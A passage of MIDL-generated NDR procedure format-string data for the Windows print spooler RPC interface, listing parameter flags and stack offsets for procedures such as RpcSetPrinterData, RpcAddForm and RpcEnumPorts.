Flags:  */\n/* 1644 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1648 */\tNdrFcShort( 0x1a ),\t/* 26 */\n/* 1650 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1652 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1654 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1656 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1658 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1660 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1662 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1664 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1666 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1668 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1674 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1676 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1678 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pValueName */\n\n/* 1680 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1682 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1684 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pType */\n\n/* 1686 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1688 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1690 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1692 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1694 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1696 */\tNdrFcShort( 0xa ),\t/* Type Offset=10 */\n\n\t/* Parameter nSize */\n\n/* 1698 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1700 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1702 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1704 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1706 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1708 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1710 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1712 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1714 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetPrinterData */\n\n/* 1716 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1718 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1722 */\tNdrFcShort( 0x1b ),\t/* 27 */\n/* 1724 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1726 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1728 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1730 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1732 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1734 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1736 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1738 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1740 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1742 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1744 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1746 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1748 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1750 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1752 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pValueName */\n\n/* 1754 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1756 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1758 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter Type */\n\n/* 1760 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1762 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1764 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1766 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1768 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1770 */\tNdrFcShort( 0xa ),\t/* Type Offset=10 */\n\n\t/* Parameter cbData */\n\n/* 1772 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1774 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1776 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1778 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1780 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1782 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcWaitForPrinterChange */\n\n/* 1784 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1786 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1790 */\tNdrFcShort( 0x1c ),\t/* 28 */\n/* 1792 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1794 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1796 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1798 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1800 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1802 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1804 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1806 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1808 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1810 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1812 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1814 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1816 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1818 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1820 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter Flags */\n\n/* 1822 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1824 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1826 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pFlags */\n\n/* 1828 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1830 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1832 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1834 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1836 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1838 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcClosePrinter */\n\n/* 1840 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1842 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1846 */\tNdrFcShort( 0x1d ),\t/* 29 */\n/* 1848 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1850 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 1852 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1854 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1856 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 1858 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1860 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1862 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1864 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1866 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1868 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1870 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phPrinter */\n\n/* 1872 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 1874 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1876 */\tNdrFcShort( 0x610 ),\t/* Type Offset=1552 */\n\n\t/* Return value */\n\n/* 1878 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1880 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1882 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddForm */\n\n/* 1884 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1886 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1890 */\tNdrFcShort( 0x1e ),\t/* 30 */\n/* 1892 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1894 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1896 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1898 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1900 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1902 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1904 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1906 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1908 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1910 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1912 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1914 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1916 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1918 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1920 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pFormInfoContainer */\n\n/* 1922 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1924 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1926 */\tNdrFcShort( 0x696 ),\t/* Type Offset=1686 */\n\n\t/* Return value */\n\n/* 1928 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1930 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1932 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeleteForm */\n\n/* 1934 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1936 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1940 */\tNdrFcShort( 0x1f ),\t/* 31 */\n/* 1942 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1944 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1946 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1948 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1950 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1952 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1954 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1956 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1958 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1960 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1962 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1964 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1966 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1968 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1970 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pFormName */\n\n/* 1972 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1974 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1976 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 1978 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1980 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1982 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetForm */\n\n/* 1984 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1986 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1990 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1992 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1994 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1996 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1998 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2000 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 2002 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2004 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2006 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2008 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2010 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2012 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2014 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2016 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2018 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2020 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pFormName */\n\n/* 2022 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2024 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2026 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter Level */\n\n/* 2028 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2030 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2032 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pForm */\n\n/* 2034 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2036 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2038 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 2040 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2042 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2044 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2046 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2048 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2050 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2052 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2054 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2056 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetForm */\n\n/* 2058 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2060 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2064 */\tNdrFcShort( 0x21 ),\t/* 33 */\n/* 2066 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2068 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2070 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2072 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2074 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2076 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2078 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2080 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2082 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2084 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2086 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2088 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2090 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2092 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2094 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pFormName */\n\n/* 2096 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2098 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2100 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pFormInfoContainer */\n\n/* 2102 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2104 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2106 */\tNdrFcShort( 0x696 ),\t/* Type Offset=1686 */\n\n\t/* Return value */\n\n/* 2108 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2110 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2112 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumForms */\n\n/* 2114 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2116 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2120 */\tNdrFcShort( 0x22 ),\t/* 34 */\n/* 2122 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2124 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2126 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2128 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2130 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 2132 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2134 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2136 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2138 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2140 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2142 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2144 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2146 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2148 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2150 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter Level */\n\n/* 2152 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2154 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2156 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pForm */\n\n/* 2158 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2160 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2162 */\tNdrFcShort( 0x332 ),\t/* Type Offset=818 */\n\n\t/* Parameter cbBuf */\n\n/* 2164 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2166 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2168 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2170 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2172 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2174 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2176 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2178 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2180 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2182 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2184 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPorts */\n\n/* 2188 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2194 */\tNdrFcShort( 0x23 ),\t/* 35 */\n/* 2196 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2198 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2200 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2202 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2204 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2206 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2208 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2210 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2212 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2214 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2218 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2220 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2222 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2224 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2226 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2228 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2230 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPort */\n\n/* 2232 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2234 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2236 */\tNdrFcShort( 0x332 ),\t/* Type Offset=818 */\n\n\t/* Parameter cbBuf */\n\n/* 2238 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2240 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2242 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2244 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2246 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2248 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2250 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2252 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2254 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2256 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2258 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2260 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumMonitors */\n\n/* 2262 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2264 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2268 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2270 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2272 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2274 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2276 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2278 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2280 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2282 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2284 */\t0xa,\t\t/* 10 